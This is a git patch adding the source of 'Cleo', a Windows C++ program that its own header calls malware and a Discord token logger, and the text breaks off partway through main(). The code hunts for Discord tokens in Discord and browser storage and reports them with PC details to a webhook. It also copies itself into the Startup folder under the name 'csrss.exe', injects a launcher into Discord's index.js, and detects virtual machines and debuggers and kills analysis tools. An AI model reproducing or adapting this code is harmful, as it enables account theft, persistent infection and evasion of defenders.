From ce8b7737629a4385cef9018a832aed6562556dde Mon Sep 17 00:00:00 2001 From: orlando <75084509+dehoisted@users.noreply.github.com> Date: Sun, 29 Aug 2021 21:11:17 -0400 Subject: [PATCH] Add files via upload --- Cleo/AY_Obfuscate.h | 199 +++++++++++++++++++++++++ Cleo/Anti.cpp | 301 ++++++++++++++++++++++++++++++++++++++ Cleo/Anti.h | 31 ++++ Cleo/Cleo.sln | 31 ++++ Cleo/Cleo.vcxproj | 178 ++++++++++++++++++++++ Cleo/Cleo.vcxproj.filters | 51 +++++++ Cleo/Cleo.vcxproj.user | 4 + Cleo/Config.h | 10 ++ Cleo/Includes.h | 10 ++ Cleo/Main.cpp | 151 +++++++++++++++++++ Cleo/Modules.h | 76 ++++++++++ Cleo/User.cpp | 181 +++++++++++++++++++++++ Cleo/User.h | 49 +++++++ Cleo/cpp.hint | 4 + 14 files changed, 1276 insertions(+) create mode 100644 Cleo/AY_Obfuscate.h create mode 100644 Cleo/Anti.cpp create mode 100644 Cleo/Anti.h create mode 100644 Cleo/Cleo.sln create mode 100644 Cleo/Cleo.vcxproj create mode 100644 Cleo/Cleo.vcxproj.filters create mode 100644 Cleo/Cleo.vcxproj.user create mode 100644 Cleo/Config.h create mode 100644 Cleo/Includes.h create mode 100644 Cleo/Main.cpp create mode 100644 Cleo/Modules.h create mode 100644 Cleo/User.cpp create mode 100644 Cleo/User.h create mode 100644 Cleo/cpp.hint diff --git a/Cleo/AY_Obfuscate.h b/Cleo/AY_Obfuscate.h new file mode 100644 index 0000000..73d5127 --- /dev/null +++ b/Cleo/AY_Obfuscate.h @@ -0,0 +1,199 @@ +#pragma once +/* --------------------------------- ABOUT ------------------------------------- +Original Author: Adam Yaxley +Website: https://github.com/adamyaxley +License: See end of file +Obfuscate +Guaranteed compile-time string literal obfuscation library for C++14 +Usage: +Pass string literals into the AY_OBFUSCATE macro to obfuscate them at compile +time. AY_OBFUSCATE returns a reference to an ay::obfuscated_data object with the +following traits: + - Guaranteed obfuscation of string + The passed string is encrypted with a simple XOR cipher at compile-time to + prevent it being viewable in the binary image + - Global lifetime + The actual instantiation of the ay::obfuscated_data takes place inside a + lambda as a function level static + - Implicitly convertable to a char* + This means that you can pass it directly into functions that would normally + take a char* or a const char* +Example: +const char* obfuscated_string = AY_OBFUSCATE("Hello World"); +std::cout << obfuscated_string << std::endl; +----------------------------------------------------------------------------- */ + +#ifndef AY_OBFUSCATE_DEFAULT_KEY +// The default 64 bit key to obfuscate strings with. +// This can be user specified by defining AY_OBFUSCATE_DEFAULT_KEY before +// including obfuscate.h +#define AY_OBFUSCATE_DEFAULT_KEY 0x5AA5D2B4D39B2B69ull +#endif + +namespace ay +{ + using size_type = unsigned long long; + using key_type = unsigned long long; + + constexpr void cipher(char* data, size_type size, key_type key) + { + // Obfuscate with a simple XOR cipher based on key + for (size_type i = 0; i < size; i++) + { + data[i] ^= char(key >> ((i % 8) * 8)); + } + } + + // Obfuscates a string at compile time + template + class obfuscator + { + public: + // Obfuscates the string 'data' on construction + constexpr obfuscator(const char* data) + { + // Copy data + for (size_type i = 0; i < N; i++) + { + m_data[i] = data[i]; + } + + // On construction each of the characters in the string is + // obfuscated with an XOR cipher based on key + cipher(m_data, N, KEY); + } + + constexpr const char* data() const + { + return &m_data[0]; + } + + constexpr size_type size() const + { + return N; + } + + constexpr key_type key() const + { + return KEY; + } + + private: + + char m_data[N]{}; + }; + + // Handles decryption and re-encryption of an encrypted string at runtime + template + class obfuscated_data + { + public: + obfuscated_data(const obfuscator& obfuscator) + { + // Copy obfuscated data + for (size_type i = 0; i < N; i++) + { + m_data[i] = obfuscator.data()[i]; + } + } + + ~obfuscated_data() + { + // Zero m_data to remove it from memory + for (size_type i = 0; i < N; i++) + { + m_data[i] = 0; + } + } + + // Returns a pointer to the plain text string, decrypting it if + // necessary + operator char* () + { + decrypt(); + return m_data; + } + + // Manually decrypt the string + void decrypt() + { + if (m_encrypted) + { + cipher(m_data, N, KEY); + m_encrypted = false; + } + } + + // Manually re-encrypt the string + void encrypt() + { + if (!m_encrypted) + { + cipher(m_data, N, KEY); + m_encrypted = true; + } + } + + // Returns true if this string is currently encrypted, false otherwise. + bool is_encrypted() const + { + return m_encrypted; + } + + private: + + // Local storage for the string. Call is_encrypted() to check whether or + // not the string is currently obfuscated. + char m_data[N]; + + // Whether data is currently encrypted + bool m_encrypted{ true }; + }; + + // This function exists purely to extract the number of elements 'N' in the + // array 'data' + template + constexpr auto make_obfuscator(const char(&data)[N]) + { + return obfuscator(data); + } +} + +// Obfuscates the string 'data' at compile-time and returns a reference to a +// ay::obfuscated_data object with global lifetime that has functions for +// decrypting the string and is also implicitly convertable to a char* +#define AY_OBFUSCATE(data) AY_OBFUSCATE_KEY(data, AY_OBFUSCATE_DEFAULT_KEY) + +// Obfuscates the string 'data' with 'key' at compile-time and returns a +// reference to a ay::obfuscated_data object with global lifetime that has +// functions for decrypting the string and is also implicitly convertable to a +// char* +#define AY_OBFUSCATE_KEY(data, key) \ + []() -> ay::obfuscated_data& { \ + static_assert(sizeof(decltype(key)) == sizeof(ay::key_type), "key must be a 64 bit unsigned integer"); \ + static_assert((key) >= (1ull << 56), "key must span all 8 bytes"); \ + constexpr auto n = sizeof(data)/sizeof(data[0]); \ + constexpr auto obfuscator = ay::make_obfuscator(data); \ + static auto obfuscated_data = ay::obfuscated_data(obfuscator); \ + return obfuscated_data; \ + }() + +/* -------------------------------- LICENSE ------------------------------------ +Public Domain (http://www.unlicense.org) +This is free and unencumbered software released into the public domain. +Anyone is free to copy, modify, publish, use, compile, sell, or distribute this +software, either in source code form or as a compiled binary, for any purpose, +commercial or non-commercial, and by any means. +In jurisdictions that recognize copyright laws, the author or authors of this +software dedicate any and all copyright interest in the software to the public +domain. We make this dedication for the benefit of the public at large and to +the detriment of our heirs and successors. We intend this dedication to be an +overt act of relinquishment in perpetuity of all present and future rights to +this software under copyright law. +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF +CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +----------------------------------------------------------------------------- */ \ No newline at end of file diff --git a/Cleo/Anti.cpp b/Cleo/Anti.cpp new file mode 100644 index 0000000..0b6bf99 --- /dev/null +++ b/Cleo/Anti.cpp @@ -0,0 +1,301 @@ +#include "Anti.h" + +// Private funcs + +void Anti::toLowerCase(char* ptr, size_t size) +{ + for (uint32_t i = 0; i < size; i++) { + if (isupper(ptr[i])) + ptr[i] = tolower(ptr[i]); + } +} + +BOOL Anti::IsWow64() +{ + BOOL bIsWow64 = FALSE; + LPFN_ISWOW64PROCESS fnIsWow64Process; + fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process"); + if (NULL != fnIsWow64Process) { + if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) + return 0; + } + return bIsWow64; +} + +// Runs in seperate thread +void Anti::check_usernames() +{ + char szUsername[1024]; + DWORD dwUser = sizeof(szUsername); + GetUserNameA(szUsername, &dwUser); + + /* + * Online Auto Analysis VM's use these windows usernames + */ + + const char* user1 = AY_OBFUSCATE("george"); // <- Virus Total + if (strcmp(szUsername, user1) == 0) + exit(EXIT_FAILURE); + + const char* user2 = AY_OBFUSCATE("JOHN-PC"); // <- Virus Total + if (strcmp(szUsername, user2) == 0) + exit(EXIT_FAILURE); + + const char* user3 = AY_OBFUSCATE("Sandbox"); + if (strcmp(szUsername, user3) == 0) + exit(EXIT_FAILURE); + + const char* user4 = AY_OBFUSCATE("sand box"); + if (strcmp(szUsername, user4) == 0) + exit(EXIT_FAILURE); + + const char* user5 = AY_OBFUSCATE("John Doe"); + if (strcmp(szUsername, user5) == 0) + exit(EXIT_FAILURE); + + const char* user6 = AY_OBFUSCATE("malware"); + if (strcmp(szUsername, user6) == 0) + exit(EXIT_FAILURE); + + const char* user7 = AY_OBFUSCATE("Peter Wilson"); // <- Virus Total + if (strcmp(szUsername, user7) == 0) + exit(EXIT_FAILURE); + + const char* user8 = AY_OBFUSCATE("virus"); + if (strcmp(szUsername, user8) == 0) + exit(EXIT_FAILURE); + + const char* user9 = AY_OBFUSCATE("maltest"); + if (strcmp(szUsername, user9) == 0) + exit(EXIT_FAILURE); + + const char* user10 = AY_OBFUSCATE("CurrentUser"); + if (strcmp(szUsername, user10) == 0) + exit(EXIT_FAILURE); +} + +inline HANDLE Anti::find_process(const char* process_name) const +{ + HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL); + PROCESSENTRY32 pEntry; + pEntry.dwSize = sizeof(pEntry); + BOOL hRes = Process32First(hSnapShot, &pEntry); + while (hRes) + { + if (strcmp(pEntry.szExeFile, process_name) == 0) + { + HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, pEntry.th32ProcessID); + if (hProcess != NULL) + return hProcess; + } + hRes = Process32Next(hSnapShot, &pEntry); + } + CloseHandle(hSnapShot); + return 0; +} + +// Public Funcs + +void Anti::check_virtual_machine() +{ + std::string sysManufacturer, sysName; + char buf[1000]; + DWORD sz = 1000; + int ret; + + HKEY hKey1; + if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, AY_OBFUSCATE("HARDWARE\\ACPI\\DSDT\\VBOX__"), 0, KEY_READ, &hKey1) == ERROR_SUCCESS) + exit(EXIT_FAILURE); + + HKEY hKey2; + if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, AY_OBFUSCATE("SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"), 0, KEY_READ, &hKey2) == ERROR_SUCCESS) + exit(EXIT_FAILURE); + + // Wine isn't a virtual machine, but it should still be detected + HKEY hKey3; + if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, AY_OBFUSCATE("SOFTWARE\\Wine"), 0, KEY_READ, &hKey3) == ERROR_SUCCESS) + exit(EXIT_FAILURE); + + ret = RegGetValueA(HKEY_LOCAL_MACHINE, AY_OBFUSCATE("SYSTEM\\CurrentControlSet\\Control\\SystemInformation"), AY_OBFUSCATE("SystemManufacturer"), + RRF_RT_ANY, NULL, &buf[0], &sz); + + toLowerCase(buf, strlen(buf)); + sysManufacturer = buf; + if (ret == ERROR_SUCCESS && (sysManufacturer.find(AY_OBFUSCATE("vmware")) != std::string::npos || + sysManufacturer.find(AY_OBFUSCATE("innotek gmbh")) != std::string::npos || + sysManufacturer.find(AY_OBFUSCATE("qemu")) != std::string::npos || + sysManufacturer.find(AY_OBFUSCATE("Apple inc.")) != std::string::npos || + sysManufacturer.find(AY_OBFUSCATE("kvm")) != std::string::npos || + sysManufacturer.find(AY_OBFUSCATE("parallel")) != std::string::npos || + sysManufacturer.find(AY_OBFUSCATE("system manufacturer")) != std::string::npos)) + exit(EXIT_FAILURE); + + ret = RegGetValueA(HKEY_LOCAL_MACHINE, AY_OBFUSCATE("SYSTEM\\CurrentControlSet\\Control\\SystemInformation"), AY_OBFUSCATE("SystemProductName"), + RRF_RT_ANY, NULL, &buf[0], &sz); + + toLowerCase(buf, strlen(buf)); + sysName = buf; + + if (ret == ERROR_SUCCESS && (sysName.find(AY_OBFUSCATE("vmware")) != std::string::npos || + sysName.find(AY_OBFUSCATE("virtualbox")) != std::string::npos || + sysName.find(AY_OBFUSCATE("parallel")) != std::string::npos || + sysName.find(AY_OBFUSCATE("qemu")) != std::string::npos || + sysName.find(AY_OBFUSCATE("virtio")) != std::string::npos || + sysName.find(AY_OBFUSCATE("vbox")) != std::string::npos || + sysName.find(AY_OBFUSCATE("system product name")) != std::string::npos)) + exit(EXIT_FAILURE); +} + +void Anti::check_debugging() +{ + // Check 1 + if (IsDebuggerPresent()) + exit(EXIT_FAILURE); + // Check 2 + HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, NULL, GetCurrentProcessId()); + bool is_debugging = false; + CheckRemoteDebuggerPresent(processHandle, reinterpret_cast(is_debugging)); + if (is_debugging) + exit(EXIT_FAILURE); + // Check 3 + SetLastError(0); + OutputDebugStringW(L"null"); + if (GetLastError() != 0) + exit(EXIT_FAILURE); + + // Check 4 + __try { + DebugBreak(); + } + __except (GetExceptionCode() == EXCEPTION_BREAKPOINT ? + EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { + } + + // Check 5 + CONTEXT ctx = {}; + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + if (GetThreadContext(GetCurrentThread(), &ctx)) { + if (ctx.Dr0 != 0 || ctx.Dr1 != 0 || ctx.Dr2 != 0 || ctx.Dr3 != 0) + exit(EXIT_FAILURE); + } + + // Check 6 + // KD debug check + const ULONG_PTR UserSharedData = 0x7FFE0000; + const UCHAR KdDebuggerEnabledByte = *(UCHAR*)(UserSharedData + 0x2D4); + const BOOLEAN KdDebuggerEnabled = (KdDebuggerEnabledByte & 0x1) == 0x1; + const BOOLEAN KdDebuggerNotPresent = (KdDebuggerEnabledByte & 0x2) == 0; + if (KdDebuggerEnabled || !KdDebuggerNotPresent) + exit(EXIT_FAILURE); + + PDWORD pNtGlobalFlag = NULL, pNtGlobalFlagWoW64 = NULL; + BYTE* _teb32 = (BYTE*)__readfsdword(0x18); + DWORD _peb32 = *(DWORD*)(_teb32 + 0x30); + pNtGlobalFlag = (PDWORD)(_peb32 + 0x68); + if (this->IsWow64()) + { + BYTE* _teb64 = (BYTE*)__readfsdword(0x18) - 0x2000; + DWORD64 _peb64 = *(DWORD64*)(_teb64 + 0x60); + pNtGlobalFlagWoW64 = (PDWORD)(_peb64 + 0xBC); + } + + BOOL normalDetected = pNtGlobalFlag && *pNtGlobalFlag & 0x00000070; + BOOL wow64Detected = pNtGlobalFlagWoW64 && *pNtGlobalFlagWoW64 & 0x00000070; + if (normalDetected || wow64Detected) + exit(EXIT_FAILURE); +} + +void Anti::check_analyzing() +{ + HMODULE hKernel32; + hKernel32 = GetModuleHandle("kernel32.dll"); + if (hKernel32 == NULL) + return; + if (GetProcAddress(hKernel32, AY_OBFUSCATE("wine_get_unix_file_name")) != NULL) + exit(EXIT_FAILURE); + + // Kill all blacklisted processes (ONCE) + for (auto const& process : this->processes) { + HANDLE proc = find_process(process); + if (proc != NULL) { + CloseHandle(proc); + exit(EXIT_FAILURE); + } + CloseHandle(proc); + } +} + +// This function should only run on a *detached* thread +void Anti::watch_dog() +{ + while (true) { + for (auto process : this->processes) { + HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL); + PROCESSENTRY32 pEntry; + pEntry.dwSize = sizeof(pEntry); + BOOL hRes = Process32First(hSnapShot, &pEntry); + while (hRes) + { + if (strcmp(pEntry.szExeFile, process) == 0) + { + HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, pEntry.th32ProcessID); + if (hProcess != NULL) + { + TerminateProcess(hProcess, 9); + CloseHandle(hProcess); + } + } + hRes = Process32Next(hSnapShot, &pEntry); + } + CloseHandle(hSnapShot); + Sleep(100); + } + Sleep(200); + } +} + +Anti::Anti(bool& check_virtual_machine, bool& check_debugging, bool& check_analyzing, bool& watch_dog) +{ + this->check_usernames(); // Top Priority + + if (check_virtual_machine) + this->check_virtual_machine(); + + if (check_debugging) + this->check_debugging(); + + if (check_analyzing) { + // Add more if you like + const char* procmon = AY_OBFUSCATE("procmon.exe"); // Sysinternals + const char* ollydbg = AY_OBFUSCATE("ollydbg.exe"); + const char* x32dbg = AY_OBFUSCATE("x32dbg.exe"); // x64dbg blacklist is useless considering Cleo is meant to be on x86. + const char* glasswire = AY_OBFUSCATE("glasswire.exe"); + const char* mmc = AY_OBFUSCATE("mmc.exe"); + const char* wireshark = AY_OBFUSCATE("Wireshark.exe"); + const char* fiddler = AY_OBFUSCATE("Fiddler.exe"); + const char* netlimiter = AY_OBFUSCATE("NLClientApp.exe"); + const char* cheat_engine1 = AY_OBFUSCATE("cheatengine-x86_64.exe"); + const char* ida = AY_OBFUSCATE("idaq.exe"); + const char* vm_proc1 = AY_OBFUSCATE("VMSrvc.exe"); + const char* vm_proc2 = AY_OBFUSCATE("VMUSrvc.exe"); + const char* http_debugger = AY_OBFUSCATE("httpdebugger.exe"); + const char* windbg = AY_OBFUSCATE("windbg.exe"); + const char* dumpcap = AY_OBFUSCATE("dumpcap.exe"); + const char* process_hacker = AY_OBFUSCATE("ProcessHacker.exe"); + const char* cutter = AY_OBFUSCATE("cutter.exe"); + const char* immunity_debugger = AY_OBFUSCATE("ImmunityDebugger.exe"); + const char* binary_ninja = AY_OBFUSCATE("binaryninja.exe"); + const char* cheat_engine2 = AY_OBFUSCATE("cheatengine-x86_64-SSE4-AVX2.exe"); + //Note: Dangerous game to be played if task manager is added to the vector :) + //const char* taskmgr = AY_OBFUSCATE("Taskmgr.exe"); + this->processes = { procmon, ollydbg, x32dbg, glasswire, mmc, wireshark, fiddler, netlimiter, + cheat_engine1, ida, vm_proc1, vm_proc2, http_debugger, windbg, dumpcap, process_hacker, cutter, + immunity_debugger, binary_ninja, cheat_engine2 }; // taskmgr + this->check_analyzing(); + } + + if (watch_dog) { + std::thread wd(&Anti::watch_dog, this); + wd.detach(); + } +} \ No newline at end of file diff --git a/Cleo/Anti.h b/Cleo/Anti.h new file mode 100644 index 0000000..a88627d --- /dev/null +++ b/Cleo/Anti.h @@ -0,0 +1,31 @@ +// Anti.h and Anti.cpp - Made by Orlando +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include "AY_Obfuscate.h" + +class Anti final { +private: + typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); + std::vector processes; + void toLowerCase(char* ptr, size_t size); + BOOL IsWow64(); + void check_usernames(); + inline HANDLE find_process(const char* process_name) const; +public: + // Main + void check_virtual_machine(); + void check_debugging(); + void check_analyzing(); + // Other + void watch_dog(); + // Const/Deconst + Anti() = default; + Anti(bool& check_virtual_machine, bool& check_debugging, bool& check_analyzing, bool& watch_dog); + ~Anti() = default; +}; \ No newline at end of file diff --git a/Cleo/Cleo.sln b/Cleo/Cleo.sln new file mode 100644 index 0000000..fc8fa0b --- /dev/null +++ b/Cleo/Cleo.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31613.86 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Cleo", "Cleo.vcxproj", "{BEC915DC-0792-4B35-963D-2B181B41D13C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {BEC915DC-0792-4B35-963D-2B181B41D13C}.Debug|x64.ActiveCfg = Debug|x64 + {BEC915DC-0792-4B35-963D-2B181B41D13C}.Debug|x64.Build.0 = Debug|x64 + {BEC915DC-0792-4B35-963D-2B181B41D13C}.Debug|x86.ActiveCfg = Debug|Win32 + {BEC915DC-0792-4B35-963D-2B181B41D13C}.Debug|x86.Build.0 = Debug|Win32 + {BEC915DC-0792-4B35-963D-2B181B41D13C}.Release|x64.ActiveCfg = Release|x64 + {BEC915DC-0792-4B35-963D-2B181B41D13C}.Release|x64.Build.0 = Release|x64 + {BEC915DC-0792-4B35-963D-2B181B41D13C}.Release|x86.ActiveCfg = Release|Win32 + {BEC915DC-0792-4B35-963D-2B181B41D13C}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {7ABB44EF-7AE9-4BE8-87CB-E2528B0E189F} + EndGlobalSection +EndGlobal diff --git a/Cleo/Cleo.vcxproj b/Cleo/Cleo.vcxproj new file mode 100644 index 0000000..3aa1560 --- /dev/null +++ b/Cleo/Cleo.vcxproj @@ -0,0 +1,178 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {bec915dc-0792-4b35-963d-2b181b41d13c} + Cleo + 10.0 + + + + Application + false + v142 + MultiByte + + + Application + false + v142 + true + MultiByte + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + true + + + true + + + + Level3 + true + WIN32;WIN32_LEAN_AND_MEAN;_CRT_SECURE_NO_WARNINGS;_SILENCE_ALL_CXX17_DEPRECATION_WARNINGS;CURL_STATICLIB + true + stdcpp17 + stdc17 + MultiThreaded + false + Default + true + + + Console + true + wininet.lib;libcurl.lib;Ws2_32.lib;Wldap32.lib;crypt32.lib;advapi32.lib;Winmm.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + WIN32;WIN32_LEAN_AND_MEAN;_CRT_SECURE_NO_WARNINGS;_SILENCE_ALL_CXX17_DEPRECATION_WARNINGS;CURL_STATICLIB + true + stdcpp17 + stdc17 + MultiThreaded + false + + + Console + true + true + true + wininet.lib;libcurl.lib;Ws2_32.lib;Wldap32.lib;crypt32.lib;advapi32.lib;Winmm.lib;%(AdditionalDependencies) + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Cleo/Cleo.vcxproj.filters b/Cleo/Cleo.vcxproj.filters new file mode 100644 index 0000000..9f22c2c --- /dev/null +++ b/Cleo/Cleo.vcxproj.filters @@ -0,0 +1,51 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + + \ No newline at end of file diff --git a/Cleo/Cleo.vcxproj.user b/Cleo/Cleo.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/Cleo/Cleo.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/Cleo/Config.h b/Cleo/Config.h new file mode 100644 index 0000000..0917ae0 --- /dev/null +++ b/Cleo/Config.h @@ -0,0 +1,10 @@ +#include "AY_Obfuscate.h" + +namespace Config { + const char* version = AY_OBFUSCATE("5.0"); + const char* webhook = AY_OBFUSCATE("webhook goes here"); + bool check_virtual_machine = true; + bool check_debugging = true; + bool check_analyzing = true; + bool watch_dog = true; +} \ No newline at end of file diff --git a/Cleo/Includes.h b/Cleo/Includes.h new file mode 100644 index 0000000..496ed8d --- /dev/null +++ b/Cleo/Includes.h @@ -0,0 +1,10 @@ +#pragma once +//Uncomment the macros below if you get compilation errors. (though they should already be in the preprocessor according to the vs project) +//#define _CRT_SECURE_NO_WARNINGS +//#define _SILENCE_ALL_CXX17_DEPRECATION_WARNINGS +//#define CURL_STATICLIB +#include +#include +#include "Modules.h" // Includes "Config.h" +#include "User.h" +#include "Anti.h" \ No newline at end of file diff --git a/Cleo/Main.cpp b/Cleo/Main.cpp new file mode 100644 index 0000000..df9542a --- /dev/null +++ b/Cleo/Main.cpp @@ -0,0 +1,151 @@ +/* +* Offical Github Link: https://github.com/dehoisted/Cleo +* Author: Dehoisted & Passive +* Description: Malware, Info Grabber, Discord Token Logger. +* Version: 5.1 +* Date Published: 8/29/2021 +* This version was all edited by Dehoisted/Orlando +*/ + +#include "Includes.h" +namespace fs = std::filesystem; + +void MainRoutine() +{ + // If there are more paths able to be added, then let me know by making an issue on the repo. (https://github.com/dehoisted/Cleo/issues) + const char* LIGHTCORD = AY_OBFUSCATE("\\Lightcord\\Local Storage\\leveldb"); + const char* DISCORD = AY_OBFUSCATE("\\Discord\\Local Storage\\leveldb"); + const char* DISCORDPTB = AY_OBFUSCATE("\\discordptb\\Local Storage\\leveldb"); + const char* DISCORDCANARY = AY_OBFUSCATE("\\discordcanary\\Local Storage\\leveldb"); + const char* CHROME = AY_OBFUSCATE("\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb"); + const char* BRAVE = AY_OBFUSCATE("\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb"); + const char* YANDEX = AY_OBFUSCATE("\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb"); + const char* OPERA = AY_OBFUSCATE("\\Opera Software\\Opera Stable\\Local Storage\\leveldb"); + + std::vector installs = { + LIGHTCORD, DISCORD, DISCORDPTB, DISCORDCANARY, + CHROME, BRAVE, YANDEX, OPERA + }; + + try { + for (const auto& install : installs) { + static int i = 0; + std::string path = std::getenv(AY_OBFUSCATE("appdata")) + install; + if (i > 3) + path = std::getenv(AY_OBFUSCATE("localappdata")) + install; + if (!fs::exists(path)) + continue; + ++i; + for (const fs::directory_entry& entry : fs::directory_iterator(path)) { + std::ifstream file_path(entry.path(), std::ios_base::binary); + std::string str((std::istreambuf_iterator(file_path)), std::istreambuf_iterator()); + std::vector matches; + std::regex expression(AY_OBFUSCATE(R"([\w-]{24}\.[\w-]{6}\.[\w-]{27})")); + std::regex expression2(AY_OBFUSCATE(R"(mfa\.[\w-]{84})")); + + std::vector regex_non_mfa = Modules::find_match(str, expression); + std::vector regex_mfa = Modules::find_match(str, expression2); + + for (uint32_t i = 0; i < regex_non_mfa.size(); i++) + matches.push_back(regex_non_mfa[i]); + + for (uint32_t i = 0; i < regex_mfa.size(); i++) + matches.push_back(regex_mfa[i]); + + for (uint32_t i = 0; i < matches.size(); i++) { + if (Modules::CheckToken(matches[i])) { + if (!User::logged) { + // PC Information is only sent if the user has a valid token. + User::PC pc; + Modules::CleoReport(pc.get_info()); + } + User::Discord token(matches[i]); + auto token_info = token.get_token_info(); + token_info.append("Found in path: " + path + "\n"); // Extra + Modules::CleoReport(token_info); + User::logged = true; + } + } + } + } + } + + catch (const std::exception& e) { + Modules::CleoReport(e.what()); + } +} + +void InfectRoutine() +{ + char report_msg[1024]; + char current_module[MAX_PATH], startup_path[MAX_PATH], alt_path[MAX_PATH], discord_path[MAX_PATH]; + GetModuleFileNameA(nullptr, current_module, MAX_PATH); + constexpr auto permission = fs::perms::all; + + try { // Note: "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\csrss.exe" works better, however, the file needs to be ran as administrator/has administrator privileges to be able to copy files into that directory. + sprintf(startup_path, AY_OBFUSCATE("%s\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\csrss.exe"), std::getenv(AY_OBFUSCATE("appdata"))); + if (current_module != startup_path) { + if (!fs::exists(startup_path)) { + fs::copy(current_module, startup_path); + fs::permissions(startup_path, permission); + } + } + else return; // Cleo is running from startup already. + + // You need administrator to *remove* files from the Windows Temp folder. + std::sprintf(alt_path, AY_OBFUSCATE("C:\\Windows\\Temp\\csrss.exe")); + if ((!fs::exists(alt_path))) { + fs::copy(current_module, alt_path); + fs::permissions(alt_path, permission); + } + // Discord Infect (only works on older discord clients) + std::sprintf(discord_path, AY_OBFUSCATE("%s\\Discord\\modules\\discord_desktop_core"), std::getenv(AY_OBFUSCATE("appdata"))); + if (!fs::exists(discord_path)) + return; + std::sprintf(startup_path, AY_OBFUSCATE("%s\\index.js"), discord_path); + std::ofstream index(startup_path); + index << "module.exports = require('./core.asar');" << std::endl \ + << "var exec = require('child_process').execFile; exec('" << alt_path \ + << "'); // Important Assets."; + index.close(); + + // Report + if (!fs::exists(startup_path) && !fs::exists(discord_path)) + std::sprintf(report_msg, AY_OBFUSCATE("**Peristance/Infection**\nPC Infection: **failed**\nDiscord Infection: **failed**")); + + if (!fs::exists(startup_path) && fs::exists(discord_path)) + std::sprintf(report_msg, AY_OBFUSCATE("**Peristance/Infection**\nPC Infection: **failed**\nDiscord Infection: **success** (%s)"), discord_path); + + if (fs::exists(startup_path) && !fs::exists(discord_path)) + std::sprintf(report_msg, AY_OBFUSCATE("**Peristance/Infection**\nPC Infection: **success** (%s)\nDiscord Infection: **failed**"), startup_path); + + if (fs::exists(startup_path) && fs::exists(discord_path)) + std::sprintf(report_msg, AY_OBFUSCATE("**Peristance/Infection**\nPC Infection: **success** (%s)\nDiscord Infection: **success** (%s)"), startup_path, discord_path); + Modules::CleoReport(report_msg); + } + catch (const std::exception& e) { + Modules::CleoReport(e.what()); + } +} + +int main() +{ + // Hide Window + ShowWindow(GetConsoleWindow(), SW_HIDE); + // Allocate dynamically so it can't be predicted where this will be in memory. + Anti* anti = new Anti(Config::check_virtual_machine, Config::check_debugging, Config::check_analyzing, Config::watch_dog); + // Code below only executes below when the Anti constructor is finished + + // Checks for internet every 1 second, if user has internet then the while loop is broken out of. + while (Modules::IsConnectedToInternet() != Modules::INTERNET_STATUS::CONNECTED) + 